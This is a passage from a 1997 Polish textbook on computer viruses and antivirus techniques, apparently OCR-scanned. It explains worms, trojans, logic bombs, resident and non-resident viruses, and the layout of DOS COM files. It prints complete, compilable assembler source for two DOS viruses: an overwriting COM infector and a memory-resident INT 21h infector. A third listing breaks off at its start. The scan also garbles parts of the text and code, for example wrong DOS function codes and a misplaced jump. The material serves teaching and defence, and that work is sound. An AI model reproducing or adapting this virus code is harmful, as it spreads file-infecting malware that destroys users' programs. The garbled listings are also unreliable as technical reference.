Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji sieciowej, dzięki którym mogą przemieszczać się po całej sieci.
2.7. Konie trojańskie (ang. trojan horses)
Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie (najczęściej destrukcyjne) często bywa z nim utożsamiany.
Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym).
Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do obsługi dysków.
2.8. Bomby logiczne (ang. logical bombs)
O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie (najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.
ROZDZIAŁ 3
3.1. Wirusy nierezydentne (ang. non-resident viruses)
Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez siebie plik (jest to wirus
nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu (programy COM przestaną "nagle" działać).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prymitywny wirus nierezydentny nadpisujacy, ;
; atakujacy i niszczacy pierwszy znaleziony ;
; w katalogu plik COM ;
; Kompilacja : ;
; TASM PRYMITYW.ASM ;
; TLINK /t PRYMITYW.OBJ ;
; ;
;----------------------------------------------------------------------------;
PRYMITYW SEGMENT
ASSUME CS: PRYMITYW, DS:PRYMITYW
ORG 100h
WirDlug = Offset (WirKoniec-WirStart)
; WirDlug okresla dlugosc calego kodu wirusa
WirStart:
mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive)
mov dx,Offset PlikiCOM ; szukaj plikow *.COM
mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu
int 21h ; wywolaj funkcje
mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu
mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA
; znajdujacym sie pod adresem CS:80h
int 21h ; wywolaj funkcje
xchg ax,bx ; przenies uchwyt pliku z AX do BX
mov cx,WirDlug ; podaj ile bajtow zapisac
mov dx,100h ; zapisuj spod adresu CS:100h
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje
ret ; rownoznaczne z wykonaniem Int 20h
PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu
WirKoniec:
PRYMITYW ENDS
END WirStart
3.2. Wirusy rezydentne (ang. resident viruses)
Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, implementując w typowo jednozadaniowym środowisku mechanizm sztucznej wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez ogólnie dostępne przerwania programowe.
Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, infekującego pliki COM podczas ich uruchamiania.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus rezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; Przejmuje przerwanie 21h ;
; Przejmuje przerwanie 24h na czas infekcji ;
; ;
; Kompilacja : ;
; TASM KOMBAJN.ASM ;
; TLINK /t KOMBAJN.OB J ;
; ;
;----------------------------------------------------------------------------;
JUMPS
KOMBAJN SEGMENT
ASSUME CS:KOMBAJN, DS:KOMBAJN
ORG 100h
Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest
Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)
DlugoscWPamieci = (DlugoscWirusa +31)/16
Start: ; poczatek wirusa
PoczatekWirusa: ; pomocnicza etykieta
Call Trik ; zapisz na stosie relatywny ofset
Trik:
pop si ; zdejmij ze stosu relatywny ofset
sub si,103h ; oblicz ofset do poczatku wirusa
mov ax,Haslo ; \ sprawdz, czy wirus jest
int 21h ; / juz w pamieci
cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?
jne InstalacjaWPamieci ; / NIE - zainstaluj
; TAK - wypisz komunikat
lea di,TeBylZainstalowany ; /
call DrukSI ; /
jmp PowrocDoNosiciela ; i powroc do nosiciela
InstalacjaWPamieci: ; poczatek instalacji
lea di,TeCopyRight ; \ wyswietl info o wirusie
Call DrukSI ; /
lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce
Call DrukSI ; \ zainstalowac wirusa w pamieci
Call Decyzja ; /
jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac
mov ax,3521h ; funkcja DOS - wez adres INT 21
int 21h ; wywolaj funkcje
mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go
mov [si][Stare21Ofs],bx ; / uzywal)
mov ax,ds ; przywroc ES
mov es,ax ; AX=ES=DS=CS=SS=PSP
dec ax ; AX=ES-1=MCB do aktualnego bloku
mov ds,ax ; DS=blok MCB
mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku
sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa
mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci
int 21h ; wywolaj funkcje
mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci
mov ah,48h ; funkcja DOS - przydzial bloku
int 21h ; wywolaj funkcje
jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic
mov es,ax ; ES=wskazuje na przydzielony blok
xor di,di ; ES:DI - dokad skopiwoac
cld ; zwiekszaj SI, DI w REP MOVSB
push si ; SI bedzie zmieniany, wiec zachowaj
add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac
mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac
rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow
pop si ; przywroc relatywny ofset
mov ax,es ; pobierz adres do MCB opisujacego
dec ax ; blok, w ktorym jest wirus
mov ds,ax ; DS=MCB wirusa
mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy
sub ax,0Fh ; \ DS=adres bloku-10h
mov ds,ax ; \ sztuczka, dzieki ktorej mozna
; / odwolywac sie do danych jak w
; / zwyklym programie COM (ORG 100h)
mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h
mov ax,25FFh ; funkcja DOS - ustaw adres INT 21
int 21h ; wywolaj funkcje
push cs ; \ wyswietl komunikat o
pop ds ; \ instalacji w pamieci
lea di,TeZainstalowany ; \ i segment, w ktorym
Call DrukSI ; / rezyduje wirus
mov ax,es ; /
Call DrukHEX16 ; /
PowrocDoNosiciela: ;
push cs cs ; \ przywroc DS=ES=CS=PSP
pop ds es ; /
mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty
mov ds:[100h],al ; \ programu pod adresem CS:100h
mov ax,word ptr [si][StareBajty+1] ; /
mov ds:[101h],ax ; /
mov ax,100h ; \ zachowaj na stosie slad do
push ax ; / adresu 100h
xor ax,ax ; \ dla bezpieczenstwa
xor bx,bx ; \ lepiej wyzerowac rejestry
xor cx,cx ; \ robocze
xor dx,dx ; /
xor si,si ; /
xor di,di ; /
ret ; powroc do nosiciela
PytanieOInstalacje: ; \ odpowiedz rezydujacego
xchg al,ah ; - wirusa na pytanie, czy jest
iret ; / w pamieci
NoweInt21:
cmp ax,4B00h ; czy funkcja DOS - uruchom program ?
je InfekcjaPliku ; TAK - sprobuj infekowac
cmp ax,Haslo ; czy pytanie wirusa o instalacje ?
je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany
jmp PowrotZInt21 ; idz do poprzedniego lancucha
; przerwan
InfekcjaPliku:
push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry
mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku
mov cs:StaryDX, dx ; /
mov ax,3524h ; \ pobierz stara i ustaw
Call StareInt21 ; \ nowa procedure obslugi
mov cs:Stare24Seg,es ; \ przerwania krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony
; \ przed ewentulanymi bledami
push cs ; / (np; podczas proby zapisu
pop ds ; / na zabezpieczonej przed
lea dx,NoweInt24 ; / zapisem dyskietce, nie
mov ax,2524h ; / zostanie wywolany dialog
Call StareInt21 ; / ARIF)
mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku
mov dx,cs:StaryDX ; podaj nazwe pliku
mov ax,4300h ; funkcja DOS - czytaj atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot
mov cs:Atrybut,cl ; wez stary atrybut
mov ax,4301h ; funkcja DOS - zapisz atrybut
mov cx,AtrArchive ; podaj nowy atrybut : Archive
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
Call StareInt21 ; wywolaj stare przerwanie 21h
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov ax,5700h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
mov cs:Czas,cx ; zachowaj czas pliku na pozniej
cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?
je ZamknijPlik ; TAK - zamknij plik, powrot
push cs ; \ DS=CS=segment wirusa
pop ds ; /
mov cx,3 ; ilosc czytanych bajtow
lea dx,StareBajty ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku
cmp ax,'MZ' ; i sprawdz, czy to nie EXE
je ZamknijPlik ; gdy "MZ", to plik EXE, powrot
cmp ax,'ZM' ;
je ZamknijPlik ; gdy "ZM", to plik EXE, powrot
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
; DX=starsza czesc dlugosci pliku
or dx,dx ; czy plik krotszy niz 65536 ?
jnz ZamknijPlik ; nie - nie infekuj
cmp ax,64000 ; czy dlugosc <= 64000 ?
jmp ZamknijPlik ; nie - nie infekuj
cmp ax,3 ; czy dlugosc >= 3 ?
jb ZamknijPlik ; nie - nie infekuj
sub ax,3 ; odejmij dlugosc skoku E9 ?? ??
mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku
lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika
Call Druk ; \ czy chce zainfekowac
; \ plik
mov di,cs:StaryDX ; \ (nazwa pliku jest
mov ds,cs:StaryDS ; \ wyswietlana)
Call Druk ; \
; - (dzieki temu uzytkownik
push cs ; / ma pelna kontrole nad
pop ds ; / tym, co wirus infekuje)
lea di,TeInfekcja ; /
Call Druk ; /
Call Decyzja ; /
jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala
mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow
mov dx,100h ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,3 ; ilosc zapisywanych bajtow
lea dx,Skok ; podaj skad zapisac rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz do pliku
Call StareInt21 ; wywolaj stare przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
Call StareInt21 ; wywolaj stare przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
Call StareInt21 ; wywolaj stare przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany
mov ds,cs:StaryDS ; w DS:DX
mov ax,4301h ; funkcja DOS - zmien atrybut
Call StareInt21 ; wywolaj stare przerwanie 21h
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu skoku JMP FAR
Stare21Ofs dw ? ; (z tych pol korzysta skok
Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego
; elementu lancucha przerwan INT 21)
StareInt21:
pushf ; \ symuluj wywolanie przerwania
Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie
ret ; powroc z wywolania
DrukSI: ; procedura wyswietla tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu (znak=NUL) ?
jz DrukPowrot ; TAK - kocz pisanie
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe heksalna z AX
push ax ; zachowaj AX (dokladniej AL)
mov al,ah ; najpierw starsza czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX (dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe heksalna z AL
push ax ; zachowaj AX (dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez 16,
shr al,1 ; / czyli wez 4 starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej
pop ax ; przywroc AX (dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity AL
; i wydrukuj czesc liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na
Cyfra09: ; / '0'..'9', 'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS - wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z klawiatury
mov ah,0h ; \ znak i sprawdza, czy jest
int 16h ; \ to litera 'T'lub 't'
and al,0DFh ; \ jezeli tak, ustawia CF=0
cmp al,'T' ; \ jezeli nie, ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF,NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL
TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
all:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMBAJN ends
end start
3.2.1. Szybkie infektory (ang.fast infectors)
Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast zainfekowany.
Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.
3.2.2. Wolne infektory (ang. slow infectors)
Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż potwierdza wykonywane przez siebie czynności.
Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane programy antywirusowe.
ROZDZIAŁ 4
4.1. Pliki
Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze (ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstępny programu, otoczenie programu).
4.1.1. Pliki wykonywalne COM
Ze względu na swą prostą budowę programy typu COM od początku stanowiły smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku wstępnym PSP i wykonaniu dalekiego skoku na początek programu,
a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM po załadowaniu do pamięci przedstawia poniższa tabela.
Wygląd programu COM po załadowaniu do pamięci:
Adres (względem segmentu), do którego został załadowany plik COM |
Zawartość pamięci
|
CS:0000-CS:0100 |
Blok wstępny PSP (patrz następna tabela) |
CS:0000-CS:???? |
Kod programu załadowany z pliku |
Format bloku wstępnego programu PSP
Adres w pamięci |
Zawartość |
00-01 |
Kod rozkazu int 21 h (CD 21) |
02-03 |
Adres segmentu pamięci niedostępnej dla programu |
04 |
Nie używane przez DOS, używane wewnętrznie przez OS/2 |
05-09 |
Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej procedury) |
06-07 |
Rozmiar dostępnej pamięci w segmencie |
0A-0D |
Zapamiętywany adres zakończenia programu (int 22h) |
0E-11 |
Adres programu obsługi CTRL-BREAK (int 23h) |
12-15 |
Adres programu obsługi błędów krytycznych (int 24h) |
16-17 |
Adres do segmentu pamięci, gdzie znajduje się blok PSP programu rodzicielskiego (interpretator poleceń modyfikuje to pole i wstawia tam adres swojego PSP) |
18-2B |
Tablica plików obsługiwanych przez proces JFT (ang. Job File Table); każdy element tablicy zawiera indeks wskazujący na element SFT (ang. System File Table) opisujący wszystkie otwarte w systemie pliki lub też wartość FF, jeżeli element nie jest używany |
2C-2D |
Adres segmentu pamięci, w którym znajduje się otoczenie programu, zawierające definicje zmiennych środowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Każdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego słowa określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 0001), a następnie umieszcza dalej nazwę uruchamianego programu. Umożliwia to procesowi dotarcie do pliku na dysku zawierającego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C. |
2E-31 |
Zapamiętane wartości SS:SP (używane podczas wywoływania funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed przełączeniem się na własny stos |
32-33 |
Liczba elementów tablicy JFT (standardowo =20) |
34-37 |
Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) umożliwia rozszerzenie ilości plików wykorzystywanych przez proces |
38-3B |
Daleki wskaźnik do poprzedniego bloku wstępnego PSP |
3C-4F |
Pola wykorzystywane wewnętrznie przez różne systemy operacyjne |
50-52 |
Kod rozkazów: INT 21 h RETF |
53-54 |
Nie używane |
55-5B |
Nie używane, można użyć, aby zmienić standardowy blok FCB na rozszerzony blok FCB |
5C-6B |
Standardowy blok opisu pliku FCB1 |
6C-7B |
Standardowy blok opisu pliku FCB2 |
7C-7F |
Nie używane |
80-FF |
Bufor transmisji dyskowych DTA. Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza wejściowego nie uwzględniając znaku CR. |
Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartość 0000.
Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod adres CS:0100h.
Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.
Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko stosowana.
Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt długiego pliku COM niszczona będzie część programu znajdująca się przy końcu segmentu (przez wartości zapisywane na stosie).
W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu wirusem.
Struktura niezainfekowanego pliku COM
Zawartość pliku |
Kod programu w tzw. postaci absolutnej |
Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku
Zawartość pliku |
Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR) Kod zainfekowanego programu Kod wirusa wraz z zapamiętanymi bajtami początkowymi |
Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu
Zawartość pliku |
Kod wirusa Przesunięty kod zainfekowanego programu Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki COM. |
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow COM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM KOMORKA.ASM ;
; TLINK /t KOMORKA.OBJ ;
; ;
;----------------------------------------------------------------------------;
KOMORKA SEGMENT
JUMPS
ASSUME CS:KOMORKA, DS:KOMORKA
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
